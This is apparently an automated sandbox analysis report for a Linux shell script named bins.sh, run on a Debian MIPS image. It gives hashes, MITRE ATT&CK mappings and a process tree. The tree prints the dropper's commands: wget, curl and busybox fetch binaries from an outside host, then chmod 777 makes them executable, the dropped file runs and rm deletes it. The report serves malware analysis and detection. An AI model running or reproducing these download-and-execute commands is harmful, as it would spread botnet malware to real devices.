cc389826e1c69d374e663bd661f142219337efc77291a8e24d98490ff36d9b1e

Analysis

max time kernel
134s
max time network
143s
platform
debian-9_mips
resource
debian9-mipsbe-20240418-en
resource tags

arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
25-11-2024 08:58

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General

Target

bins.sh
Size

10KB
MD5

535ebadfb3e0157fea5eae00397c2442
SHA1

c470a2e682c181bf7fa16097fb9fb6e13d6ec577
SHA256

cc389826e1c69d374e663bd661f142219337efc77291a8e24d98490ff36d9b1e
SHA512

2270af8ba4f42d236720f7b95d8b4f015bb15ca09511dff315d78a0912540a06411be8c7aedaeb089353581b5324c24e7b47f5b99f64659f7f360f1d28f89cbe
SSDEEP

96:YPSPqPkLmWl8txuGmUV1tyK7Lkfkzk9eGPxIxExVGWxEnMRLZxw9LhZbPjkLi6LN:g+GkFH2Q849eGv+MI+GYV849eG5

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmod

pid process

841 chmod
Executes dropped EXE 1 IoCs

Processes:

rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db

ioc pid process

/tmp/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db 842 rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
Reads runtime system information 1 IoCs
Reads data from /proc virtual filesystem.
discovery

Processes:

curl

description ioc process

File opened for reading /proc/sys/crypto/fips_enabled curl
System Network Configuration Discovery 1 TTPs 4 IoCs
Adversaries may gather information about the network configuration of a system.
discovery

System Network Configuration Discovery
T1016

Processes:

wgetcurlbusyboxwget

pid process

736 wget
759 curl
762 busybox
845 wget

pid	process
841	chmod

ioc	pid	process
/tmp/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db	842	rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db

description	ioc	process
File opened for reading	/proc/sys/crypto/fips_enabled	curl

pid	process
736	wget
759	curl
762	busybox
845	wget

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurl

description	ioc	process
File opened for modification	/tmp/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db	wget
File opened for modification	/tmp/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:731
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:734
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:736
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:759
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
  2⤵
  - System Network Configuration Discovery
  PID:762
- /bin/chmod
  chmod 777 rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
  2⤵
  - File and Directory Permissions Modification
  PID:841
- /tmp/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
  ./rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
  2⤵
  - Executes dropped EXE
  PID:842
- /bin/rm
  rm rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db
  2⤵
  PID:844
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/l6UYEbDnZWqFBl7H8QcUiPuhe6ICjSLcyd
  2⤵
  - System Network Configuration Discovery
  PID:845

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/rt3xVPkGk4XANW7qAdaVrKavXPE4dvM5db

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

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